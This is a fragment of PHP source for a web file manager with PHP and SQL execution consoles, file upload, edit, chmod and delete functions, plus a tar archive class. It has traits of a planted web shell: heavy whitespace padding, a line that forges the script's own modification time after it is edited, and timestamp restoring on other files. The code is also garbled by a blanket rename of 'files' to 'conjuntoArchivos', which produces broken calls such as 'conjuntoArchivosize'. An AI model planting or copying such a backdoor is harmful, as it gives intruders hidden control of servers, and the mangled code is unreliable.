	                 $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
                      
	                 $select .= '<option value="-1">' . __('Select') . "</option>\n";
                                  
	                 foreach ($tmpl as $key=>$value){

	                 	                 $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	                 }

	                 $select .= "</select>\n";
	                 echo $select;
                                                        
}

?>

	                 	                 </form>
                                                                                                    
	                 </td>

</tr>
</table>

<?php

	                 if (!empty($res)) {

	                 	                 $fun='fm_'.$res_lng;
                                                                               
	                 	                 echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	                 }

} elseif (!empty($_REQUEST['edit'])){
	                 if(!empty($_REQUEST['save'])) {

	                 	                 $fn = $path . $_REQUEST['edit'];
                                                                   
	                 	                 $filemtime = filemtime($fn);
	                     if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
                                                                             
	                 	                 else $msg .= __('Error occurred');
                                   
	                 	                 if ($_GET['edit']==basename(__FILE__)) {

	                 	                 	                 touch(__FILE__,1415116371);
	                 	                 } else {
                                          
	                 	                 	                 if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
	                 	                 }

	                 }

    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

    $backlink = $url_inc . '&path=' . $path;
?>

<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>
<tr>

    <td class="row1">
        <?=$msg?>

	                 </td>

</tr>

<tr>

    <td class="row1">
                                                     
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	                 </td>
                                                                               
</tr>
                                                                                         
<tr>

    <td class="row1" align="center">
                                                                                            
        <form name="form1" method="post" action="<?=$editlink?>">

            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
                                                                              
            <input type="submit" name="save" value="<?=__('Submit')?>">
                                                                                     
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
                              
    </td>

</tr>

</table>
                                                                                         
<?php

echo $auth['script'];
                          
} elseif(!empty($_REQUEST['rights'])){
	                 if(!empty($_REQUEST['save'])) {
	                     if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

	                 	                 $msg .= (__('File updated')); 
                                     
	                 	                 else $msg .= (__('Error occurred'));

	                 }

	                 clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

    $backlink = $url_inc . '&path=' . $path;
                                                                                       
?>

<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>

    <td class="row1">
        <?=$msg?>
                                                          
	                 </td>




</tr>

<tr>

    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>

	                 </td>

</tr>

<tr>
    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">

           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>

</tr>

</table>

<?php
                                                                                             
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	                 if(!empty($_REQUEST['save'])) {
                                                                                     
	                     rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

	                 	                 $msg .= (__('File updated'));

	                 	                 $_REQUEST['rename'] = $_REQUEST['newname'];

	                 }

	                 clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
                        
    $backlink = $url_inc . '&path=' . $path;



?>
<table class="whole">
<tr>

    <th><?=__('File manager').' - '.$path?></th>

</tr>
                                                                                                  
<tr>
    <td class="row1">

        <?=$msg?>

	                 </td>
                                                                                                   
</tr>
<tr>
    <td class="row1">

        <a href="<?=$backlink?>"><?=__('Back')?></a>
                                                                                               
	                 </td>

</tr>
                                         
<tr>

    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

            <input type="submit" name="save" value="<?=__('Submit')?>">

        </form>
                                             
    </td>

</tr>

</table>
                                                                                         
<?php

} else {
                                                        
//Let's rock!
    $msg = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
                                                                  
        if(!empty($_FILES['upload']['name'])){

            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
                                         
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');

            } else {

	                 	                 	                 	                 $msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
                                                                                     
	                 	                 	                 }
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
                                                                              
        if(!fm_del_conjuntoArchivos(($path . $_REQUEST['delete']), true)) {
                                                                            
            $msg .= __('Error occurred');
        } else {
                                                                                                 
	                 	                 	                 $msg .= __('Deleted').' '.$_REQUEST['delete'];

	                 	                 }

	                 } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {

        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                                
            $msg .= __('Error occurred');

        } else {

	                 	                 	                 $msg .= __('Created').' '.$_REQUEST['dirname'];
	                 	                 }

    } elseif(!empty($_POST['search_recursive'])) {

	                 	                 ini_set('max_execution_time', '0');
                                                                               
	                 	                 $search_data =  find_text_in_conjuntoArchivos($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
                                                                                    
	                 	                 if(!empty($search_data)) {

	                 	                 	                 $msg .= __('Found in conjuntoArchivos').' ('.count($search_data).'):<br>';

	                 	                 	                 foreach ($search_data as $filename) {

	                 	                 	                 	                 $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

	                 	                 	                 }
                             
	                 	                 } else {
	                 	                 	                 $msg .= __('Nothing founded');
	                 	                 }	                 

	                 } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
                                                                         
            $msg .= __('Error occurred');
        } else {
                                                                                            
	                 	                 	                 fclose($fp);

	                 	                 	                 $msg .= __('Created').' '.$_REQUEST['filename'];
                                                                          
	                 	                 }
    } elseif (isset($_GET['zip'])) {
                                                                
	                 	                 $source = base64_decode($_GET['zip']);

	                 	                 $destination = basename($source).'.zip';
	                 	                 set_time_limit(0);

	                 	                 $phar = new PharData($destination);
	                 	                 $phar->buildFromDirectory($source);
                                                                                             
	                 	                 if (is_file($destination))
                        
	                 	                 $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                                                                 
	                 	                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
	                 	                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

	                 	                 else $msg .= __('Error occurred').': '.__('no conjuntoArchivos');
	                 } elseif (isset($_GET['gz'])) {

	                 	                 $source = base64_decode($_GET['gz']);
	                 	                 $archive = $source.'.tar';
                             
	                 	                 $destination = basename($source).'.tar';
                                                          
	                 	                 if (is_file($archive)) unlink($archive);
                                                                        
	                 	                 if (is_file($archive.'.gz')) unlink($archive.'.gz');

	                 	                 clearstatcache();

	                 	                 set_time_limit(0);
	                 	                 //die();
                                                                                                    
	                 	                 $phar = new PharData($destination);
	                 	                 $phar->buildFromDirectory($source);
                                                            
	                 	                 $phar->compress(Phar::GZ,'.tar.gz');

	                 	                 unset($phar);
                                                                                           
	                 	                 if (is_file($archive)) {

	                 	                 	                 if (is_file($archive.'.gz')) {

	                 	                 	                 	                 unlink($archive); 

	                 	                 	                 	                 $destination .= '.gz';
	                 	                 	                 }
                                                           

                                                                                          
	                 	                 	                 $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
	                 	                 	                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

	                 	                 	                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

	                 	                 } else $msg .= __('Error occurred').': '.__('no conjuntoArchivos');
                                                                  
	                 } elseif (isset($_GET['decompress'])) {
	                 	                 // $source = base64_decode($_GET['decompress']);
                                                                                      
	                 	                 // $destination = basename($source);

	                 	                 // $ext = end(explode(".", $destination));
	                 	                 // if ($ext=='zip' OR $ext=='gz') {

	                 	                 	                 // $phar = new PharData($source);

	                 	                 	                 // $phar->decompress();
                     
	                 	                 	                 // $base_file = str_replace('.'.$ext,'',$destination);

	                 	                 	                 // $ext = end(explode(".", $base_file));

	                 	                 	                 // if ($ext=='tar'){

	                 	                 	                 	                 // $phar = new PharData($base_file);
                                
	                 	                 	                 	                 // $phar->extractTo(dir($source));

	                 	                 	                 // }
                                                                     
	                 	                 // } 

	                 	                 // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	                 } elseif (isset($_GET['gzfile'])) {
                         
	                 	                 $source = base64_decode($_GET['gzfile']);
                                                        
	                 	                 $archive = $source.'.tar';
                           
	                 	                 $destination = basename($source).'.tar';
	                 	                 if (is_file($archive)) unlink($archive);
                                             
	                 	                 if (is_file($archive.'.gz')) unlink($archive.'.gz');
                              
	                 	                 set_time_limit(0);

	                 	                 //echo $destination;
                                                             
	                 	                 $ext_arr = explode('.',basename($source));

	                 	                 if (isset($ext_arr[1])) {
                                        
	                 	                 	                 unset($ext_arr[0]);
                                                                                   
	                 	                 	                 $ext=implode('.',$ext_arr);

	                 	                 } 
	                 	                 $phar = new PharData($destination);

	                 	                 $phar->addFile($source);

	                 	                 $phar->compress(Phar::GZ,$ext.'.tar.gz');

	                 	                 unset($phar);
                                                                                  
	                 	                 if (is_file($archive)) {

	                 	                 	                 if (is_file($archive.'.gz')) {

	                 	                 	                 	                 unlink($archive); 

	                 	                 	                 	                 $destination .= '.gz';
	                 	                 	                 }

	                 	                 	                 $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                                                       
	                 	                 	                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

	                 	                 	                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
                                                                  
	                 	                 } else $msg .= __('Error occurred').': '.__('no conjuntoArchivos');
	                 }
?>
<table class="whole" id="header_table" >

<tr>

    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>

<?php if(!empty($msg)){ ?>
<tr>

	                 <td colspan="2" class="row2"><?=$msg?></td>
                                                                         
</tr>

<?php } ?>

<tr>

    <td class="row2">
                              
	                 	                 <table>

	                 	                 	                 <tr>

	                 	                 	                 <td>

	                 	                 	                 	                 <?=fm_home()?>

	                 	                 	                 </td>
                                                                                                 
	                 	                 	                 <td>

	                 	                 	                 <?php if(!empty($fm_config['make_directory'])) { ?>
	                 	                 	                 	                 <form method="post" action="<?=$url_inc?>">
                                                                              
	                 	                 	                 	                 <input type="hidden" name="path" value="<?=$path?>" />
	                 	                 	                 	                 <input type="text" name="dirname" size="15">
	                 	                 	                 	                 <input type="submit" name="mkdir" value="<?=__('Make directory')?>">
                                                                   
	                 	                 	                 	                 </form>
                                                 
	                 	                 	                 <?php } ?>
                                                                                           
	                 	                 	                 </td>
	                 	                 	                 <td>

	                 	                 	                 <?php if(!empty($fm_config['new_file'])) { ?>
	                 	                 	                 	                 <form method="post" action="<?=$url_inc?>">

	                 	                 	                 	                 <input type="hidden" name="path"     value="<?=$path?>" />

	                 	                 	                 	                 <input type="text"   name="filename" size="15">
	                 	                 	                 	                 <input type="submit" name="mkfile"   value="<?=__('New file')?>">

	                 	                 	                 	                 </form>
	                 	                 	                 <?php } ?>

	                 	                 	                 </td>
	                 	                 	                 <td>

	                 	                 	                 	                 <form  method="post" action="<?=$url_inc?>" style="display:inline">

	                 	                 	                 	                 <input type="hidden" name="path" value="<?=$path?>" />
                            
	                 	                 	                 	                 <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

	                 	                 	                 	                 <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

	                 	                 	                 	                 <input type="submit" name="search" value="<?=__('Search')?>">
	                 	                 	                 	                 </form>

	                 	                 	                 </td>

	                 	                 	                 <td>
	                 	                 	                 <?=fm_run_input('php')?>

	                 	                 	                 </td>

	                 	                 	                 <td>

	                 	                 	                 <?=fm_run_input('sql')?>

	                 	                 	                 </td>
	                 	                 	                 </tr>
	                 	                 </table>
    </td>
                                                                                     
    <td class="row3">

	                 	                 <table>

	                 	                 <tr>
                                                                  
	                 	                 <td>
	                 	                 <?php if (!empty($fm_config['upload_file'])) { ?>

	                 	                 	                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

	                 	                 	                 <input type="hidden" name="path" value="<?=$path?>" />

	                 	                 	                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
                                                                                                  
	                 	                 	                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

	                 	                 	                 <input type="submit" name="test" value="<?=__('Upload')?>" />

	                 	                 	                 </form>

	                 	                 <?php } ?>
	                 	                 </td>
                        
	                 	                 <td>
                                       
	                 	                 <?php if ($auth['authorize']) { ?>

	                 	                 	                 <form action="" method="post">&nbsp;&nbsp;&nbsp;
	                 	                 	                 <input name="quit" type="hidden" value="1">

	                 	                 	                 <?=__('Hello')?>, <?=$auth['login']?>

	                 	                 	                 <input type="submit" value="<?=__('Quit')?>">

	                 	                 	                 </form>
                                                                 
	                 	                 <?php } ?>

	                 	                 </td>
                                                   
	                 	                 <td>

	                 	                 <?=fm_lang_form($language)?>
                                                                       
	                 	                 </td>

	                 	                 <tr>
                                   
	                 	                 </table>

    </td>
</tr>
                                                      
</table>
                                                                                        
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>
                                       
<tr> 

    <th style="white-space:nowrap"> <?=__('Filename')?> </th>

    <th style="white-space:nowrap"> <?=__('Size')?> </th>

    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>

    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>
                                                                                          
<tbody>

<?php
                                                                                                 
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
                                                                                 
$conjuntoArchivos = array();
foreach ($elements as $file){
                                                                         
    if(@is_dir($path . $file)){
                                                                                                 
        $dirs[] = $file;

    } else {

        $conjuntoArchivos[] = $file;

    }
}
natsort($dirs); natsort($conjuntoArchivos);

$elements = array_merge($dirs, $conjuntoArchivos);


                              
foreach ($elements as $file){
    $filename = $path . $file;

    $filedata = @stat($filename);
    if(@is_dir($filename)){

	                 	                 $filedata[7] = '';

	                 	                 if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
                                           
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
                                                                                            
	                 	                 $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
                        
        $style = 'row2';

	                 	                  if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
                                                               
    } else {

	                 	                 $link = 

	                 	                 	                 $fm_config['show_img']&&@getimagesize($filename) 

	                 	                 	                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

	                 	                 	                 . fm_img_link($filename)
	                 	                 	                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

	                 	                 	                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

	                 	                 $e_arr = explode(".", $file);
	                 	                 $ext = end($e_arr);

        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

	                 	                 $arlink = in_array($ext,array('zip','gz','tar')) 
                                  
	                 	                 ? ''
                                 
	                 	                 : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

        $style = 'row1';

	                 	                 $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }

    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
                                                                          
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
                                                                         
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>

    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

    <td><?=$rightstext?></td>
                                                            
    <td><?=$deletelink?></td>

    <td><?=$renamelink?></td>

    <td><?=$loadlink?></td>

    <td><?=$arlink?></td>

</tr>
                               
<?php
    }
}

?>
</tbody>
</table>

<div class="row3"><?php

	                 $mtime = explode(' ', microtime()); 
                                                                             
	                 $totaltime = $mtime[0] + $mtime[1] - $starttime; 

	                 echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	                 if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
                                                                                             
	                 if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	                 if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	                 if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	                 if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
                                                                                      
	                 if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	                 if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	                 ?>
</div>
                                                                  
<script type="text/javascript">

function download_xls(filename, text) {

	                 var element = document.createElement('a');

	                 element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	                 element.setAttribute('download', filename);
	                 element.style.display = 'none';

	                 document.body.appendChild(element);

	                 element.click();
	                 document.body.removeChild(element);

}


function base64_encode(m) {
	                 for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

	                 	                 c = m.charCodeAt(l);

	                 	                 if (128 > c) d = 1;

	                 	                 else

	                 	                 	                 for (d = 2; c >= 2 << 5 * d;) ++d;

	                 	                 for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
                                                
	                 }

	                 b && (g += k[f << 6 - b]);
                                                                           
	                 return g
                                                    
}




var tableToExcelData = (function() {

    var uri = 'data:application/vnd.ms-excel;base64,',

    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {

                return c[p];

            })
                                                               
        }

    return function(table, name) {

        if (!table.nodeType) table = document.getElementById(table)

        var ctx = {

            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
                                                             
        }

	                 	                 t = new Date();
                                                                                           
	                 	                 filename = 'fm_' + t.toISOString() + '.xls'
                                 
	                 	                 download_xls(filename, base64_encode(format(template, ctx)))

    }
                                                                                                  
})();

var table2Excel = function () {


                               
    var ua = window.navigator.userAgent;
                                                         
    var msie = ua.indexOf("MSIE ");


                                                                                    
	                 this.CreateExcelSheet = 

	                 	                 function(el, name){
	                 	                 	                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                                                         
	                 	                 	                 	                 var x = document.getElementById(el).rows;


	                 	                 	                 	                 var xls = new ActiveXObject("Excel.Application");


                                               
	                 	                 	                 	                 xls.visible = true;

	                 	                 	                 	                 xls.Workbooks.Add
	                 	                 	                 	                 for (i = 0; i < x.length; i++) {
	                 	                 	                 	                 	                 var y = x[i].cells;
                                                            

                                                                    
	                 	                 	                 	                 	                 for (j = 0; j < y.length; j++) {

	                 	                 	                 	                 	                 	                 xls.Cells(i + 1, j + 1).Value = y[j].innerText;

	                 	                 	                 	                 	                 }
                                                                 
	                 	                 	                 	                 }
                                                                            
	                 	                 	                 	                 xls.Visible = true;
                                                                                                 
	                 	                 	                 	                 xls.UserControl = true;

	                 	                 	                 	                 return xls;
	                 	                 	                 } else {
                                                        
	                 	                 	                 	                 tableToExcelData(el, name);
                                                                                              
	                 	                 	                 }

	                 	                 }

}
</script>
                                                                         
</body>

</html>



<?php
//Ported from ReloadCMS project http://reloadcms.com
                      
class archiveTar {

	                 var $nombrePaquete = '';

	                 var $archivoTemporal = 0;

	                 var $posicionArchivo = 0;
                                         
	                 var $estaComprimido = true;
	                 var $registrosErrores = array();

	                 var $conjuntoArchivos = array();
	                 
	                 function __construct(){
                                                            
	                 	                 if (!isset($this->registrosErrores)) $this->registrosErrores = array();

	                 }
                                       
	                 

	                 function crearPaquete($file_list){

	                 	                 $result = false;

	                 	                 if (file_exists($this->nombrePaquete) && is_file($this->nombrePaquete)) 	                 $newArchive = false;

	                 	                 else $newArchive = true;
                     
	                 	                 if ($newArchive){

	                 	                 	                 if (!$this->abrirArchivoParaEscritura()) return false;
                         
	                 	                 } else {
                                                
	                 	                 	                 if (conjuntoArchivosize($this->nombrePaquete) == 0)	                 return $this->abrirArchivoParaEscritura();
                                                    
	                 	                 	                 if ($this->estaComprimido) {
                          
	                 	                 	                 	                 $this->cerrarArchivoTemporal();
	                 	                 	                 	                 if (!rename($this->nombrePaquete, $this->nombrePaquete.'.tmp')){

	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot rename').' '.$this->nombrePaquete.__(' to ').$this->nombrePaquete.'.tmp';
                                                             
	                 	                 	                 	                 	                 return false;
	                 	                 	                 	                 }

	                 	                 	                 	                 $tmpArchive = gzopen($this->nombrePaquete.'.tmp', 'rb');

	                 	                 	                 	                 if (!$tmpArchive){

	                 	                 	                 	                 	                 $this->registrosErrores[] = $this->nombrePaquete.'.tmp '.__('is not readable');

	                 	                 	                 	                 	                 rename($this->nombrePaquete.'.tmp', $this->nombrePaquete);

	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 }

	                 	                 	                 	                 if (!$this->abrirArchivoParaEscritura()){

	                 	                 	                 	                 	                 rename($this->nombrePaquete.'.tmp', $this->nombrePaquete);
                                                                      
	                 	                 	                 	                 	                 return false;
                                              
	                 	                 	                 	                 }

	                 	                 	                 	                 $buffer = gzread($tmpArchive, 512);

	                 	                 	                 	                 if (!gzeof($tmpArchive)){
	                 	                 	                 	                 	                 do {

	                 	                 	                 	                 	                 	                 $binaryData = pack('a512', $buffer);

	                 	                 	                 	                 	                 	                 $this->guardarSegmentoDatos($binaryData);
	                 	                 	                 	                 	                 	                 $buffer = gzread($tmpArchive, 512);

	                 	                 	                 	                 	                 }

	                 	                 	                 	                 	                 while (!gzeof($tmpArchive));
                             
	                 	                 	                 	                 }

	                 	                 	                 	                 gzclose($tmpArchive);
	                 	                 	                 	                 unlink($this->nombrePaquete.'.tmp');
                                         
	                 	                 	                 } else {
                                                                                                
	                 	                 	                 	                 $this->archivoTemporal = fopen($this->nombrePaquete, 'r+b');
	                 	                 	                 	                 if (!$this->archivoTemporal)	                 return false;

	                 	                 	                 }

	                 	                 }
                                                                        
	                 	                 if (isset($file_list) && is_array($file_list)) {
	                 	                 if (count($file_list)>0)
	                 	                 	                 $result = $this->empaquetarArchivosEnPaquete($file_list);
                                                                    
	                 	                 } else $this->registrosErrores[] = __('No file').__(' to ').__('Archive');
	                 	                 if (($result)&&(is_resource($this->archivoTemporal))){
	                 	                 	                 $binaryData = pack('a512', '');
	                 	                 	                 $this->guardarSegmentoDatos($binaryData);
	                 	                 }

	                 	                 $this->cerrarArchivoTemporal();
	                 	                 if ($newArchive && !$result){
                                                                                          
	                 	                 $this->cerrarArchivoTemporal();

	                 	                 unlink($this->nombrePaquete);

	                 	                 }

	                 	                 return $result;
	                 }



	                 function desempaquetarArchivos($path){

	                 	                 $fileName = $this->nombrePaquete;
                                                            
	                 	                 if (!$this->estaComprimido){
	                 	                 	                 if (file_exists($fileName)){

	                 	                 	                 	                 if ($fp = fopen($fileName, 'rb')){

	                 	                 	                 	                 	                 $data = fread($fp, 2);

	                 	                 	                 	                 	                 fclose($fp);

	                 	                 	                 	                 	                 if ($data == '\37\213'){
                                                       
	                 	                 	                 	                 	                 	                 $this->estaComprimido = true;
	                 	                 	                 	                 	                 }

	                 	                 	                 	                 }
	                 	                 	                 }

	                 	                 	                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->estaComprimido = true;

	                 	                 } 

	                 	                 $result = true;

	                 	                 if ($this->estaComprimido) $this->archivoTemporal = gzopen($fileName, 'rb');

	                 	                 else $this->archivoTemporal = fopen($fileName, 'rb');

	                 	                 if (!$this->archivoTemporal){

	                 	                 	                 $this->registrosErrores[] = $fileName.' '.__('is not readable');
                                                        
	                 	                 	                 return false;

	                 	                 }

	                 	                 $result = $this->unempaquetarArchivosEnPaquete($path);

	                 	                 	                 $this->cerrarArchivoTemporal();
                                                     
	                 	                 return $result;
	                 }


                                      
	                 function mostrarListaErrores	                 ($message = '') {

	                 	                 $Errors = $this->registrosErrores;
                                                                  
	                 	                 if(count($Errors)>0) {
                                                                         
	                 	                 if (!empty($message)) $message = ' ('.$message.')';

	                 	                 	                 $message = __('Error occurred').$message.': <br/>';

	                 	                 	                 foreach ($Errors as $value)

	                 	                 	                 	                 $message .= $value.'<br/>';

	                 	                 	                 return $message;	                 
                                                                        
	                 	                 } else return '';

	                 	                 
                                                     
	                 }

	                 

	                 function empaquetarArchivosEnPaquete($file_array){
                                                        
	                 	                 $result = true;
	                 	                 if (!$this->archivoTemporal){

	                 	                 	                 $this->registrosErrores[] = __('Invalid file descriptor');

	                 	                 	                 return false;
	                 	                 }
                                                                                  
	                 	                 if (!is_array($file_array) || count($file_array)<=0)
                                                   
          return true;
	                 	                 for ($i = 0; $i<count($file_array); $i++){

	                 	                 	                 $filename = $file_array[$i];
